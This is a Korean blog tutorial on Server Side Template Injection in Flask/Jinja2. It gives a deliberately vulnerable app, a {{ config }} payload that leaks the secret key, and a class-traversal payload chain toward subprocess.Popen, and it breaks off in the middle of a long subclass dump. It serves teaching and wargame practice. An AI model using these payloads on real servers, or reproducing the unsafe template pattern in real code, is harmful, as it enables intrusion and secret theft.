SSTI(Server Side Template Injection) 취약점이란?

2021-02-27

Table Of Contents
  • Flask Jinja2
  • 마무리

  • SSTI 이란?

    SSTI(Server Side Template Injection) 취약점은 공격자가 서버측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입 한 다음 서버 측에 실행되면서 생기는 취약점이며 웹 템플릿 엔진마다 사용되는 페이로드가 다릅니다.


    웹 템플릿이란?

    웹 템플릿 엔진은 웹 템플릿과 웹 컨텐츠 정보를 처리하는 목적으로 설계된 소프트웨어를 뜻합니다.

    웹 서버를 구축할 때 코드에 자주 보이는 {{ content }}, {% content %} 이러한 형식으로 되어있는 대부분이 템플릿 엔진을 사용하기 위해 작성된 템플릿 구문입니다.

    웹 템플릿 엔진 종류 를 살펴보면 되게 많은 언어들과 템플릿 엔진들이 있는것을 볼 수 있는데

    만약 Flask 서버를 구축하여 index.html에 {{ 7*7 }}render_template 메서드로 index.html 파일을 리턴하면 49라는 결과가 웹 페이지에 나오게되는 것 처럼 Flask에서도 템플릿 엔진을 사용하기 때문에 7*7 구문이 정상적으로 실행이 됩니다.

    index.html

    <html>
        <center>{{ 7*7 }}</center>
    </html>
    

    Flask Code

    from flask import Flask, render_template
    
    app = Flask(__name__)
    
    @app.route('/')
    #@app.route('/URL')
    def index():
        return render_template('index.html')
        #return render_template(return file name)
    
    app.run('0.0.0.0', 80)
    #app.run(host, port)
    

    SSTI 취약점을 이용한 템플릿 구분

    기본적으로 모든 서버는 제각각 다른 서버와 다른 템플릿을 사용하기 때문에 언어와 템플릿 엔진에 따라 취약점을 발생시키기 위한 페이로드가 달라지게 됩니다.

    어떤 템플릿 엔진을 쓰고 있는지 알기 위해서는 하단의 사진 처럼 일일히 페이로드를 삽입하여 구별할 수 있습니다.

    만약 에러가 나거나 원하는 대로 작동하지 않으면 밑으로, 잘 작동하면 위로 이동하면서 어떠한 템플릿을 사용하고 있는지 어떠한 페이로드를 사용해야되는지 빠르게 파악할 수 있습니다.

    SSTI template payloads


    Flask Jinja2


    Flask를 이용한 SSTI 취약점 예시

    Flask의 경우 문서에 따르면 따로 정의하지 않은 이상 Jinja2 템플릿을 사용하게 되는데

    만약 사용자가 입력한 값이 템플릿 구문으로 인식하게 할 수 있다면 해당 템플릿 구문을 이용하여 SSTI취약점을 발생시켜 RCE(Remote Code Execute) 취약점으로 연계시킬 수 있습니다.

    app.py Code

    from flask import Flask, request, render_template_string
    
    app = Flask(__name__)
    app.secret_key = 'FLAG{README}'
    
    @app.route('/')
    def index():
        ssti = request.args.get('ssti', '')
        html = '''
            <html>
                <center>%s</center>
            </html>
        '''% ssti
        return render_template_string(html)
    
    app.run('0.0.0.0', 8080)
    

    app.py 파일로 SSTI 취약점이 터질 수 있는 환경을 만들어 실행하고 localhost:8080?ssti={{ 7*7 }} 와 같이 {{ 7*7 }}를 html에 삽입해서 템플릿 구문으로 인식하게 만들면 당연히 예상했던 결과인 49가 나오게 됩니다.

    python3 flask site

    Flask.config


    기본적으로 Flask의 경우 app.n에 들어가는 대부분의 정보들이 config 클래스에 들어가게 됩니다.

    만약 app.secret_key에 중요한 정보를 넣었을 때 {{ config }} 해당 페이로드를 삽입하여 config 정보를 출력하게 만들면 app.secret_key에 들어간 중요한 정보들이 나오게 됩니다.

    secret_key

    RCE(Remote Code Execute)


    RCE는 원격 코드 실행으로 어떠한 시스템에 접근하여 명령어를 실행할 수 있는 취약점이며 SSTI와 연계가 가능합니다.

    만약 워게임에 있는 SSTI 문제를 풀어야되는 경우 SSTI 취약점이 발생하는 로직을 발견한 다음 flag 파일을 읽을 수 있습니다.

    일반적으로 os.system 같은 함수의 경우 쉘 명령어의 결과를 출력할 수 없기 떄문에 subprocess.Popen Class를 찾은 다음 함수를 실행시켜 쉘 명령어 결과를 출력할 수 있습니다.

    {{ 7*7 }}
    #49
    {{ ''.__class__ }}
    #<class 'str'>
    {{ ''.__class__.__mro__ }}
    #(<class 'str'>, <class 'object'>)
    {{ ''.__class__.__mro__[1].__subclasses__() }}
    #[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'runpy._TempModule'>, <class 'runpy._ModifiedArgv0'>, <class '__future__._Feature'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'debugpy.common.json.JsonObject'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'unicodedata.UCD'>, <class '_pydevd_bundle.pydevd_constants.DebugInfoHolder'>, <class '_pydevd_bundle.pydevd_vm_type.PydevdVmType'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'pyexpat.xmlparser'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'gzip._PaddedFile'>, <class 'xmlrpc.client.DateTime'>, <class 'xmlrpc.client.Binary'>, <class 'xmlrpc.client.ExpatParser'>, <class 'xmlrpc.client.Marshaller'>, <class 'xmlrpc.client.Unmarshaller'>, <class 'xmlrpc.client._MultiCallMethod'>, <class 'xmlrpc.client.MultiCallIterator'>, <class 'xmlrpc.client.MultiCall'>, <class 'xmlrpc.client._Method'>, <class 'xmlrpc.client.Transport'>, <class 'xmlrpc.client.ServerProxy'>, <class 'mimetypes.MimeTypes'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'socketserver.BaseServer'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'pydoc.Doc'>, <class 'pydoc.Helper'>, <class 'pydoc.ModuleScanner'>, <class 'xmlrpc.server.SimpleXMLRPCDispatcher'>, <class 'xmlrpc.server.XMLRPCDocGenerator'>, <class '_pydevd_bundle.pydevd_constants.ForkSafeLock'>, <class '_pydevd_bundle.pydevd_constants.Null'>, <class '_pydevd_bundle.pydevd_constants.KeyifyList'>, <class '_pydevd_bundle.pydevd_constants._GlobalSettings'>, <class '_pydevd_bundle.pydevd_constants.GlobalDebuggerHolder'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'textwrap.TextWrapper'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'PyHANDLE'>, <class 'PyOVERLAPPED'>, <class 'PyDEVMODEA'>, <class 'PyDEVMODEW'>, <class 'PyWAVEFORMATEX'>, <class 'PyIID'>, <class 'PySECURITY_DESCRIPTOR'>, <class 'PySECURITY_ATTRIBUTES'>, <class 'PySID'>, <class 'PyACL'>, <class 'PyDISPLAY_DEVICE'>, <class 'interface-type'>, <class 'PyOleEmpty'>, <class 'PyOleMissing'>, <class 'ArgNotFound'>, <class 'PyOleNothing'>, <class 'PyFUNCDESC'>, <class 'PySTGMEDIUM'>, <class 'PyTYPEATTR'>, <class 'PyVARDESC'>, <class 'com_record'>, <class 'pkg_resources.extern.packaging._structures.InfinityType'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinityType'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Undefined'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class '_pydev_bundle.pydev_log._LoggingGlobals'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class '_pydevd_bundle.pydevd_extension_utils.ExtensionManager'>, <class '_pydevd_bundle.pydevd_frame_utils.Frame'>, <class '_pydevd_bundle.pydevd_frame_utils.FCode'>, <class '_pydevd_bundle.pydevd_frame_utils.FramesList'>, <class '_pydevd_bundle.pydevd_frame_utils._DummyFrameWrapper'>, <class '_pydevd_bundle.pydevd_filtering.FilesFiltering'>, <class '_pydevd_bundle.pydevd_io.IORedirector'>, <class '_pydevd_bundle.pydevd_io.RedirectToPyDBIoMessages'>, <class '_pydevd_bundle.pydevd_io.IOBuf'>, <class '_pydevd_bundle.pydevd_io._RedirectInfo'>, <class '_pydevd_bundle.pydevd_io._RedirectionsHolder'>, <class '_pydevd_bundle.pydevd_utils.ScopeRequest'>, <class '_pydevd_bundle.pydevd_utils.DAPGrouper'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pydevd_bundle.pydevd_safe_repr.SafeRepr'>, <class '_pydevd_bundle.pydevd_resolver.DefaultResolver'>, <class '_pydevd_bundle.pydevd_resolver.DAPGrouperResolver'>, <class '_pydevd_bundle.pydevd_resolver.DictResolver'>, <class '_pydevd_bundle.pydevd_resolver.TupleResolver'>, <class '_pydevd_bundle.pydevd_resolver.SetResolver'>, <class '_pydevd_bundle.pydevd_resolver.InstanceResolver'>, <class '_pydevd_bundle.pydevd_resolver.JyArrayResolver'>, <class '_pydevd_bundle.pydevd_resolver.FrameResolver'>, <class '_pydevd_bundle.pydevd_resolver.InspectStub'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractResolver'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractProvider'>, <class '_pydevd_bundle.pydevd_extension_api.DebuggerEventHandler'>, <class '_pydevd_bundle.pydevd_xml.ExceptionOnEvaluate'>, <class '_pydevd_bundle.pydevd_xml.TypeResolveHandler'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.SetLineno'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Label'>, <class '_pydevd_frame_eval.vendored.bytecode.instr._Variable'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Instr'>, <class '_pydevd_frame_eval.vendored.bytecode.bytecode.BaseBytecode'>, <class '_pydevd_frame_eval.vendored.bytecode.concrete._ConvertBytecodeToConcrete'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Target'>, <class '_pydevd_bundle.pydevd_bytecode_utils._TargetIdHashable'>, <class '_pydevd_bundle.pydevd_bytecode_utils._StackInterpreter'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Variant'>, <class '_pydevd_bundle.pydevd_frame._TryExceptContainerObj'>, <class '_pydevd_bundle.pydevd_frame.PyDBFrame'>, <class '_pydevd_bundle.pydevd_additional_thread_info_regular.PyDBAdditionalThreadInfo'>, <class '_pydevd_bundle.pydevd_defaults.PydevdCustomization'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithTrace'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithoutTrace'>, <class 'pydevd_tracing.TracingFunctionHolder'>, <class '_pydevd_bundle.pydevd_timeout._OnTimeoutHandle'>, <class '_pydevd_bundle.pydevd_timeout.TimeoutTracker'>, <class '_pydev_bundle.pydev_console_utils.BaseStdIn'>, <class '_pydev_bundle.pydev_console_utils.CodeFragment'>, <class '_pydev_bundle.pydev_console_utils.BaseInterpreterInterface'>, <class '_pydev_bundle.pydev_console_utils.FakeFrame'>, <class '_pydevd_bundle.pydevd_breakpoints.ExceptionBreakpoint'>, <class '_pydevd_bundle.pydevd_breakpoints.LineBreakpoint'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFramesContainer'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFrame'>, <class '_pydevd_bundle.pydevd_net_command._BaseNetCommand'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pydevconsole.Command'>, <class '_pydev_bundle.pydev_umd.UserModuleDeleter'>, <class 'pydevconsole._ProcessExecQueueHelper'>, <class '_pydev_bundle._pydev_completer._StartsWithFilter'>, <class '_pydev_bundle._pydev_completer.Completer'>, <class '_pydevd_bundle.pydevd_net_command_factory_xml.NetCommandFactory'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerOnlyUnhandledExceptions'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerNoBackFrame'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.ThreadTracer'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMappingEntry'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMapping'>, <class 'pydevd_concurrency_analyser.pydevd_thread_wrappers.ObjectWrapper'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.ThreadingLogger'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.NameManager'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.AsyncioLogger'>, <class '_pydevd_bundle._debug_adapter.pydevd_base_schema.BaseSchema'>, <class '_pydevd_bundle.pydevd_reload.Reload'>, <class '_pydev_bundle.fsnotify._SingleVisitInfo'>, <class '_pydev_bundle.fsnotify._PathWatcher'>, <class '_pydev_bundle.fsnotify.Watcher'>, <class '_pydevd_bundle.pydevd_console.ConsoleMessage'>, <class '_pydevd_bundle.pydevd_console.InteractiveConsoleCache'>, <class '_pydevd_bundle.pydevd_comm.InternalThreadCommand'>, <class '_pydevd_bundle.pydevd_net_command_factory_json.ModulesManager'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.TryExceptInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.ReturnInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._TargetInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._MsgPart'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._Disassembler'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI.VariablePresentation'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame._DummyCode'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._AddBreakpointResult'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI'>, <class '_pydevd_bundle.pydevd_json_debug_options.DebugOptions'>, <class '_pydevd_bundle.pydevd_process_net_command_json.IDMap'>, <class '_pydevd_bundle.pydevd_process_net_command_json.PyDevJsonCommandProcessor'>, <class '_pydevd_bundle.pydevd_traceproperty.DebugProperty'>, <class '_pydevd_bundle.pydevd_process_net_command._PyDevCommandProcessor'>, <class '_pydevd_bundle.pydevd_suspended_frames._AbstractVariable'>, <class '_pydevd_bundle.pydevd_suspended_frames._FramesTracker'>, <class '_pydevd_bundle.pydevd_suspended_frames.SuspendedFramesManager'>, <class 'pydevd_plugins.django_debug.DjangoTemplateFrame'>, <class 'pydevd_plugins.django_debug.DjangoTemplateSyntaxErrorFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateSyntaxErrorFrame'>, <class '_pydevd_bundle.pydevd_plugin_utils.PluginManager'>, <class 'pydevd.AbstractSingleNotificationBehavior'>, <class 'pydevd._Authentication'>, <class 'pydevd.PyDB'>, <class 'pydevd.IDAPMessagesListener'>, <class 'pydevd.Dispatcher'>, <class 'pydevd.SetupHolder'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayResolver'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayItemsContainer'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NDArrayTypeResolveProvider'>, <class 'pydevd_plugins.extensions.types.pydevd_plugins_django_form_str.DjangoFormStr'>, <class 'debugpy.common.util.Observable'>, <class 'debugpy.common.log.LogFile'>, <class 'debugpy.common.log.NoLog'>, <class 'debugpy.server.cli.Options'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click._winconsole.ConsoleStream'>, <class 'click._winconsole.WindowsChunkedWriter'>, <class 'colorama.ansi.AnsiCodes'>, <class 'colorama.ansi.AnsiCursor'>, <class 'colorama.winterm.WinColor'>, <class 'colorama.winterm.WinStyle'>, <class 'colorama.winterm.WinTerm'>, <class 'colorama.ansitowin32.StreamWrapper'>, <class 'colorama.ansitowin32.AnsiToWin32'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.ForkingMixIn'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 